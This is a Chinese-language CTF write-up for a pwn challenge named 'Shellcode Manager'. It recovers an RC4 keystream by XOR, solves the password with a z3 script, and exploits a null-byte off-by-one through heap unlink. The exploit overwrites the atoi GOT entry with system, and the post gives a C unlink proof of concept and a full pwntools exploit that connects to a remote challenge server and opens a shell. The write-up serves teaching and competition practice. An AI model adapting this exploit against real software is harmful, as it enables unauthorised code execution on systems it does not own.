[Pwn] Shellcode Manager - Cpt.shao xp0int Posted on May 7 2018 > 比换取那串臭长的flag更有意义的,应该是完成一道题目时候思考的过程,遇到问题时候寻找解决思路的体验。这个过程甚至比获取到最终的`$`更有意思一些。 ## 密码学的坎要过 因为比赛过程中没有完成,总共大概花了超过10个小时的时间才能做出来,期间也遇到了很多坑点和错误的思路,于是我觉得不计成本地把这道题细细分析一下供大家学习。 首先是main函数,流程清晰简单,进入程序有首先进入初始化的一个函数,然后验证密码,接着就是常见的一个大swtich分支选择操作。可以进行的操作包括`1.main`,`2.add`,`3.fill`,`4.show`。  然后我们首先来看`init1`初始化函数。#1处的代码读取了`/dev/urandom`的前三个字节,然后把它作为`srand`函数的随机种子,接下来把获取0x1f个随机数,在确保它们在0x00-0xff范围内以后按照一定顺序存放起来。  placekey函数主要是把sbox初始化好以后用0x1f个随机数去打乱sbox,可以看到这里不停在进行交换操作。如果对密码学稍微敏感一些的话,应该会意识到这里是一个`rc4`的加密算法,可惜这也是我再看了别人wp以后才发现的。所以其实没看出来是什么加密算法也不影响这题的pwn操作。  然后我们跟踪到一个进行加密解密操作的函数,大概流程就是从全局变量的KEY中取出sbox然后按一定的步骤提取一个byte。再与输入进行一次异或操作,这个过程中sbox也会被更新。  配套的`recv`和`send`函数是都是先输入/输出密文的长度,然后把密文送到`do_enc`中加密解密。对于不会crypt的我来说一开始是觉得挺头大的,但是一想到这里是每一次都是异或操作,在已知明文和密文的情况下,我们只需要把密文和明文进行一次异或操作即可求出加密时候的key了。好在每次调用do_enc的时候都会重新从全局的KEY里面拷贝一份sbox,也就是说经过初始化之后每次的密钥流都是一样的。 对于第一步输入密码的操作,我们知道传入的明文是`No passcode No fun\n`,也能接收到加密后的明文,这样就给了我们一个机会去获取前20个byte的密钥流。 之后为了进行更长的输入操作,我们要想办法获得更加长的密钥流,可以利用程序的`fill`操作,先往一个shellcode对象中写入明文,比如说长度为0x200的字符串'a‘,然后再通过`puts`操作接收密文,再进行一次异或操作就可以获得长度为0x200的密钥流。下次我们需要输入的时候就可以通过输入密文的方式,往内存中写入我们需要的任意内容。这样做的缺点是要看运气,因为密文中可能在没到0x200的时候就已经出现了0x00导致密文被截断,puts函数无法输出完整的密文。所以就只能多试几次来获取足够长的密钥流。 对于这部分显然有更高明的方法,就是把整个加解密流程逆向出来写在exp里面,再用爆破的方法来确定`srand`的种子,毕竟才三个字节,爆破也是很快的事情。这样就能获得整个sbox并进行任意长度的加解密操作了。还有一个想法就是通过unicorn之类的虚拟机工具把加解密函数提取出来,这样也可以省了自己实现加解密算法的时间,具体可行性还有待验证。 ## 逆向的坎也要过 然后就来到第一道坎,`pass`函数,也就是需要输入密码的地方。稍微有些逆向经验的朋友对这种多元方程应该都不会陌生的,我还记得刚接触pwn的时候看见师兄们对这类逆向题目花了好大力气,当时还是用excel来求解这种多元方程的。然而我现在知道有个东西叫sat solver,恰好可以用来对付这种问题。  这里用的就是微软出的z3 solver,先用`pip install z3-solver`安装好包,然后声明好需要求解的变量,至于约束条件的部分并不需要自己重新写,直接从ida里面复制过去整理一下就可以了。 ### solver.py ```python from z3 import * a1 = [] for i in range(8): a1.append(Int('a'+str(i))) # annonce variables s = Solver() s.add(331 * a1[6] + 317 * a1[5] + 313 * a1[4] + 311 * a1[3] + 307 * a1[2] + 293 * a1[1] + 283 * a1[0] + 337 * a1[7] == 225643) s.add( 509 * a1[6] + 503 * a1[5] + 499 * a1[4] + 491 * a1[3] + 487 * a1[2] + 479 * a1[1] + 467 * a1[0] + 521 * a1[7] == 356507) s.add(587 * a1[6] + 577 * a1[5] + 571 * a1[4] + 569 * a1[3] + 563 * a1[2] + 557 * a1[1] + 547 * a1[0] + 593 * a1[7] == 410769) s.add( 643 * a1[6] + 641 * a1[5] + 631 * a1[4] + 619 * a1[3] + 617 * a1[2] + 613 * a1[1] + 607 * a1[0] + 647 * a1[7] == 450797) s.add( 773 * a1[6] + 769 * a1[5] + 761 * a1[4] + 757 * a1[3] + 751 * a1[2] + 743 * a1[1] + 739 * a1[0] + 787 * a1[7] == 546531) s.add(853 * a1[6] + 839 * a1[5] + 829 * a1[4] + 827 * a1[3] + 823 * a1[2] + 821 * a1[1] + 811 * a1[0] + 857 * a1[7] == 598393) s.add(919 * a1[6] + 911 * a1[5] + 907 * a1[4] + 887 * a1[3] + 883 * a1[2] + 881 * a1[1] + 877 * a1[0] + 929 * a1[7] == 646297) s.add(1319 * a1[6]+ 1307 * a1[5]+ 1303 * a1[4]+ 1301 * a1[3]+ 1297 * a1[2]+ 1291 * a1[1]+ 1289 * a1[0]+ 1321 * a1[7] == 935881 ) print s.check() print s.model() ``` 跑出来的结果再如下 ``` sat [a4 = 110, a2 = 104, a7 = 117, a1 = 67, a0 = 49, a6 = 105, a5 = 48, a3 = 117] ``` 再转换成用转换回对应字符,得出明文密码是`1Chun0iu` ## Pwn的坎是不过不行的 经历完Crypt和Rev的双重打击后,终于可以开始打Pwn了。说实话前两道坎放在Crypt和Rev里面都是很简单的考点,但放在这里就十分考验选手的综合技能了,像我这种一知半解的只能用勉强的方法去解决。在找这题漏洞的过程中,由于经验的一些限制,也遇到了不少问题。 先来逐一观察程序的各个函数:`add`函数,判断了输入的size,控制整个shellcode列表的长度不得超过19,在全局列表里面存放指针的依据并不是用户输入的`index`,而是独立维护的一个`shellcode_cnt`  `delete`函数,这里删除的逻辑是很完善的,`free`之后对指针做了清零处理,不存在UAF漏洞。  `show`函数,简单明了,没毛病。  `fill`函数,也是看不出任何问题。  来来回回检查了很多遍都发现不了漏洞在哪里,按理说这种heap的题目最常出现就是UAF的问题了,然而这题被封得死死的,没有任何漏洞,仔细检查也没有发现栈溢出等问题。辛辛苦苦进行到这步却没有一点头绪了。 最后还是通过排除法加上瞎猜法确定了漏洞的位置,没有栈溢出,没有堆溢出,没有UAF,没有格式化字符串,没有整数溢出。。。还有一个东西叫做off-by-one的。  在`fill`调用的`do_recv`函数这里,第13行的位置,可以看到程序直接往`input[size]`的位置填上了一个`\x00`,造成了一个null的off-by-one。 ### 如何利用是最后一道坎 耗费了大量的时间后终于确认了漏洞,接下来就是具体利用的问题了。 一开始采取的思路是[posion null byte](http://tacxingxing.com/2018/01/24/poison-null-byte/)的思路,主要是利用`off-by-one`漏洞加上一些chunk上面伪造的内容去绕过libc的检查,最后的目的是造出一个overlap chunk。 照这文章的利用思路去造出一个overlap chunk以后发现根本没办法继续了。在一般情况下,假如有了一个overlap chunk,首先我们的思路是利用fast bin attack去促使malloc返回任意地址,然后写got表。但是这里没有办法再fastbin上面做文章,因为每次在调用`add`函数里面我们可以控制`size`的那个`malloc`之前,必然会经过一次`malloc(0x500)`的调用。malloc里面有个机制,在申请一个较大空间的之前会把fast bin里面的chunk合并起来并放到unsorted bin里面,以此来避免碎片化的问题。因为这样,我们其实是没有办法去利用fast bin attack的,在每次进行操作之前,fast bin已经被清空。 再次搜索其他可能的利用方法,发现还可以通过unlink的方法来更改一个指针(通常是bss段上的)的指向地址。参考:[ 从一字节溢出到任意代码执行-Linux下堆漏洞利用 ](https://www.anquanke.com/post/id/84752)。 **这种攻击适用的前提是一个已知地址(一般是bss段)有指向heap的指针,不然无法绕过unlink的检测条件** 这里把这题适用的poc提取出来: ```poc.c #include <stdlib.h> #include <string.h> void *ptr; int main(void) { printf("ptr: 0x%x\n", ptr); int prev_size,size,fd,bk; void *p1,*p2; char buf[253]=""; p1=malloc(252); p2=malloc(252); printf("p1: 0x%x\n", p1); printf("p2: 0x%x\n", p2); ptr=p1; prev_size=0; size=249; fd=(int)(&ptr)-0xC; bk=(int)(&ptr)-0x8; memset(buf,'c',253); memcpy(buf,&prev_size,4); memcpy(buf+4,&size,4); memcpy(buf+8,&fd,4); memcpy(buf+12,&bk,4); size=248; memcpy(&buf[248],&size,4); buf[252]='\x00'; memcpy(p1,buf,253); free(p2); printf("ptr: 0x%x\n", ptr); return 0; } ``` 运行结果: ``` ptr: 0x0 p1: 0x8fb1410 p2: 0x8fb1510 ptr: 0x804a024 ``` 可以看到,经过`free(p2)`触发unlink操作以后,`ptr`指向的地址已经更改位bss段上的位置。 根据这个思路我们可以伪造一个fake chunk,然后通过off-by-one和unlink来改写bss段一个指向heap的指针,让它指向bss上面在它前面不远的一个地址。 接着我们就可以通过fill来改让这个地址指向got表上面我们想改写的函数,最后再fill一次往got表写入system函数地址。 最终的exp如下: ### Shellcode.py ```python from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # p = process('./pwn3') # flag{e942f154ef9d9974366551d2d231d936} p = remote('123.59.138.180',13579) elf = ELF('./pwn3') libc = ELF('./libc.so.6.64') # fetch key size = u32(p.recv(4)) p.info('size: %d' % size) enc = p.recv(20) dec = 'No passcord No fun\n' global key key = [] for i in range(19): key.append(ord(enc[i]) ^ ord(dec[i])) print key # bypass password = [49, 67, 104, 117, 110, 48, 105, 117] s = '' for i in range(8): s += chr(password[i] ^ key[i]) p.sendline(str(8)) p.send(s) def enc(text): result = '' length = len(text) if len(text) < len(key) else len(key) for i in range(length): result += chr(ord(text[i]) ^ key[i]) return result def recv_enc(): size = p.recvuntil('\x00\x00\x00') size = u32(size[-4:]) content = p.recv(size) p.info(enc(content)) def send_enc(size, content): p.sendline(str(size)) length = len(content) if len(content) < len(key) else len(key) s = '' for i in range(length): s += chr(ord(content[i]) ^ key[i]) p.send(s) def recv_menu(): for i in range(7): recv_enc() def fill(idx, size, content): recv_menu() p.sendline('3') recv_enc() p.sendline(str(idx)) recv_enc() send_enc(size, content) recv_enc() def add(size): recv_menu() p.sendline('1') recv_enc() p.sendline(str(size)) recv_enc() def delete(idx): recv_menu() p.sendline('2') recv_enc() p.sendline(str(idx)) recv_enc() def show(idx): recv_menu() p.sendline('4') recv_enc() p.sendline(str(idx)) # update key first add(0x120) #0 recv_menu() p.sendline('3') recv_enc() p.sendline('0') recv_enc() p.sendline(str(0x120)) p.sendline('a'*0x11f) recv_enc() show(0) p.recvuntil('Note 0\n') new_key = p.recvuntil(p32(0x21))[:-4] key = [] for i in range(len(new_key)): key.append(ord(new_key[i]) ^ ord('a')) p.warn('This time you have can predict 0x%x' % len(key)) print key if (len(key)< 0x120): exit() # clear p.recv(0x21) for i in range(6): recv_enc() p.sendline('2') recv_enc() p.sendline(str(0)) recv_enc() # start add(0x108) #1 add(0x108) #2 add(0x108) #3 add(0x20) #4 fake_chunk = '' fake_chunk += p64(0) #prev size fake_chunk += p64(0x101) # size fake_chunk += p64(0x602130 - 0x18) # fd fake_chunk += p64(0x602130 - 0x10) # bk fake_chunk = fake_chunk.ljust(0x100, 'a') fake_chunk += p64(0x100) delete(3) # leak libc add(0x100) #5 show(5) p.recvuntil('Note 5\n') leak_libc = u64( p.recvline()[:-1] + '\x00\x00') libc.address = leak_libc - 0x3c4b78 p.info('leak_libc: %x' % leak_libc) p.info('libc_start: %x' % libc.address) delete(5) fill(1, 0x108, fake_chunk) fake2 = p64(0x100) fill(2, 0x100, fake2.ljust(0xf8, 'a') + p64(0x11)) # 0x11 is the fake chunk size to recover the proper order. delete(2) # unlink fill(1, 0x18, p64(0) + p64(elf.got['atoi']) + p64(0x100)) fill(0, 0x8, p64(libc.symbols['system'])) p.sendline('/bin/sh') # p.sendline('cat /home/pwn3/flag.txt') p.interactive() ``` ## 总结 1. 对off-by-one这种相对少见的漏洞也要保持一定的敏感,对其利用方式要掌握。 2. 不要被程序流程之前的check吓到了,就算crypt是半桶水也有绕过的办法。 3. 这是我写得最长的一篇wp了,也是目前拖得最久的一篇,希望毕业论文不要出什么岔子才好。ᕦ(・ㅂ・)ᕤ 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Crypto] web token - CirQ [Web]guess id-jaivy